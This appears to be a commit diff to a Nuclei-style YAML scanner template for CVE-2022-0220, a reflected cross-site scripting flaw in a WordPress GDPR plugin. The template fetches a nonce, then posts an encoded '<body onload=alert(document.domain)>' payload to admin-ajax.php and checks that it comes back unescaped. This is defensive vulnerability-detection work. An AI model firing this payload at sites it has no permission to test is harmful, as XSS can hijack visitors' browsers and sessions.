Update CVE-2022-0220.yaml
parent
87fc450c8a
commit
0a8ef85188
|
@ -4,36 +4,41 @@ info:
|
||||||
name: WordPress GDPR & CCPA < 1.9.27 - Unauthenticated Reflected Cross-Site Scripting
|
name: WordPress GDPR & CCPA < 1.9.27 - Unauthenticated Reflected Cross-Site Scripting
|
||||||
author: daffainfo
|
author: daffainfo
|
||||||
severity: medium
|
severity: medium
|
||||||
description: The check_privacy_settings AJAX action of the WordPress GDPR WordPress plugin before 1.9.27, available to both unauthenticated and authenticated users, responds with JSON data without an "application/json" content-type. Since an HTML payload isn't properly escaped, it may be interpreted by a web browser led to this endpoint. Javascript code may be executed on a victim's browser. Due to v1.9.26 adding a CSRF check, the XSS is only exploitable against unauthenticated users (as they all share the same nonce)
|
description: |
|
||||||
reference: https://wpscan.com/vulnerability/a91a01b9-7e36-4280-bc50-f6cff3e66059
|
The check_privacy_settings AJAX action of the WordPress GDPR WordPress plugin before 1.9.27, available to both unauthenticated and authenticated users, responds with JSON data without an "application/json" content-type. Since an HTML payload isn't properly escaped, it may be interpreted by a web browser led to this endpoint. Javascript code may be executed on a victim's browser. Due to v1.9.26 adding a CSRF check, the XSS is only exploitable against unauthenticated users (as they all share the same nonce)
|
||||||
tags: cve,cve2022,wordpress,wp-plugin,xss
|
reference:
|
||||||
|
- https://wpscan.com/vulnerability/a91a01b9-7e36-4280-bc50-f6cff3e66059
|
||||||
|
tags: cve,cve2022,wordpress,wp-plugin,wp,xss
|
||||||
|
|
||||||
requests:
|
requests:
|
||||||
- raw:
|
- raw:
|
||||||
|
- |
|
||||||
|
GET /wp-admin HTTP/1.1
|
||||||
|
Host: {{Hostname}}
|
||||||
|
|
||||||
- |
|
- |
|
||||||
POST /wp-admin/admin-ajax.php HTTP/1.1
|
POST /wp-admin/admin-ajax.php HTTP/1.1
|
||||||
Host: {{Hostname}}
|
Host: {{Hostname}}
|
||||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
|
||||||
Accept-Language: en-GB,en;q=0.5
|
|
||||||
Accept-Encoding: gzip, deflate
|
|
||||||
Content-Type: application/x-www-form-urlencoded
|
Content-Type: application/x-www-form-urlencoded
|
||||||
Connection: close
|
|
||||||
Upgrade-Insecure-Requests: 1
|
|
||||||
|
|
||||||
action=check_privacy_settings&settings%5B40%5D=40&settings%5B41%5D=%3cbody%20onload%3dalert(1)%3e&nonce=XXXX
|
action=check_privacy_settings&settings%5B40%5D=40&settings%5B41%5D=%3cbody%20onload%3dalert(document.domain)%3e&nonce={{nonce}}
|
||||||
|
|
||||||
matchers-condition: and
|
redirects: true
|
||||||
|
max-redirects: 2
|
||||||
|
req-condition: true
|
||||||
matchers:
|
matchers:
|
||||||
- type: status
|
- type: dsl
|
||||||
status:
|
dsl:
|
||||||
- 200
|
- "contains(all_headers_2, 'text/html')"
|
||||||
|
- "status_code_2 == 200"
|
||||||
|
- "contains(body_2, '<body onload=alert(document.domain)>')"
|
||||||
|
condition: and
|
||||||
|
|
||||||
- type: word
|
extractors:
|
||||||
part: header
|
- type: regex
|
||||||
words:
|
name: nonce
|
||||||
- "text/html"
|
|
||||||
|
|
||||||
- type: word
|
|
||||||
part: body
|
part: body
|
||||||
words:
|
group: 1
|
||||||
- "<body onload=alert(1)>"
|
regex:
|
||||||
|
- 'nonce":"([0-9a-z]+)'
|
||||||
|
internal: true
|
||||||
|
|
Loading…
Reference in New Issue